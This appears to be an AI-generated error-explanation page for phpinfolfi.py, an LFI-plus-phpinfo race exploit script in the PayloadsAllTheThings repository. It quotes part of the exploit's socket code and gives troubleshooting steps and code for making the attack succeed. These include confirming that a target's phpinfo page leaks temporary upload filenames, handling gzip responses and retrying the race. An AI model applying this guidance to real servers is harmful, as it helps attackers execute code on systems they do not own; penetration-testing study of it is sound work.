swisskyrepo/PayloadsAllTheThings · error · ValueError

No php tmp_name in phpinfo output

Error message

No php tmp_name in phpinfo output

What it means

Raised by getOffset() in phpinfolfi.py after it fetches the target's phpinfo page over a raw socket and cannot find the string '[tmp_name] =>' (or its HTML-escaped variant '[tmp_name] =>') anywhere in the accumulated response body d. The tmp_name entry in phpinfo output is the core primitive of this LFI+PHPInfo race exploit: it leaks the random /tmp/phpXXXXXX filename of the just-uploaded POST file, which the script then includes via the LFI. No tmp_name means the exploit cannot compute the offset (marker position + 256 bytes of padding) and the run aborts.

Source

Thrown at File Inclusion/Files/phpinfolfi.py:119

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =>")
    if i == -1:
        i = d.find("[tmp_name] =>")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s" % (sys.argv[1], e))

View on GitHub (pinned to 3bff425aca)

Solutions

  1. Verify manually that the phpinfo URL works: curl -s --compressed -F 'x=@file' http://HOST/phpinfo.php | grep tmp_name — if empty, fix the URL/path baked into phpinforeq or re-enable file_uploads on the target.
  2. Confirm the target actually runs PHP and that the request in phpinforeq (host header, path, Content-Type multipart/form-data) matches the live server; adjust the request template in the script.
  3. If the response is gzip-encoded, strip/adjust the Accept-Encoding header in phpinforeq (send 'Identity' or remove gzip) so '[tmp_name] =>' appears verbatim.
  4. Harden the read loop: recv until the connection closes (i == '') instead of relying solely on the '0\r\n\r\n' chunked terminator, so a split final chunk cannot truncate d before the marker.
  5. Catch the ValueError per attempt in ThreadWorker and retry until maxattempts, since a slow phpinfo response can transientally miss the marker.

Example fix

# before
    i = d.find("[tmp_name] =>")
    if i == -1:
        i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

# after
    i = d.find("[tmp_name] =>")
    if i == -1:
        i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output (check phpinfo URL, "
                         "file_uploads=On, and that response is not gzip-encoded)")
Defensive patterns

Strategy: validation

Validate before calling

# Verify the phpinfo endpoint leaks tmp_name for a multipart POST before running the race
import urllib2  # py2
req = urllib2.Request('http://%s:%s/phpinfo.php' % (HOST, PORT),
                      data='-----------------------------x\r\nContent-Disposition: form-data; name="x"; filename="x"\r\n\r\nx\r\n-----------------------------x--\r\n',
                      headers={'Content-Type': 'multipart/form-data; boundary=---------------------------x'})
body = urllib2.urlopen(req).read()
if '[tmp_name] =>' not in body and '[tmp_name] =&gt;' not in body:
    raise SystemExit('phpinfo does not leak tmp_name; check URL, file_uploads, and encoding')

Type guard

def phpinfo_leaks_tmp_name(host, port, phpinforeq):
    """Returns True only when the phpinfo response contains a tmp_name marker."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host, port))
    s.send(phpinforeq)
    d = ''
    while True:
        i = s.recv(4096)
        if i == '':
            break
        d += i
        if i.endswith('0\r\n\r\n'):
            break
    s.close()
    return ('[tmp_name] =>' in d) or ('[tmp_name] =&gt;' in d)

Try / catch

try:
    offset = getOffset(host, port, phpinforeq)
except ValueError as e:
    print('[-] %s — confirm the phpinfo URL is reachable, file_uploads=On, '
          'and the response is not gzip-encoded' % e)
    sys.exit(1)

Prevention

When it happens

Trigger: Calling the script against a host/port where the phpinfo() page is not served at the expected path or the target is not running PHP; the URL in phpinforeq returns an error page (404/403/redirect) instead of phpinfo output; the response is gzip/deflate-encoded so '[tmp_name] =>' never appears in plain text; the chunked-encoding termination heuristic (chunk ending with '0\r\n\r\n') never matches because the response is not chunked or the final recv splits the terminator, leaving d truncated before the $_FILES section; a proxy or WAF strips or alters the page.

Common situations: Pointing the tool at a modern PHP app where phpinfo.php was removed or never deployed; target behind a reverse proxy (nginx with gzip on) so the body is compressed; target served over HTTPS while the script speaks plain HTTP to that port; ISP/proxy HTML-escaping the payload so only the '&gt;' variant exists and that variant is also mangled; PHP versions/configs where file_uploads=Off, so phpinfo contains no tmp_name row for the multipart POST.


AI-assisted analysis of swisskyrepo/PayloadsAllTheThings@3bff425aca (2026-08-14). Data as JSON: /api/errors/c6b5906f9e130250. Report an issue: GitHub.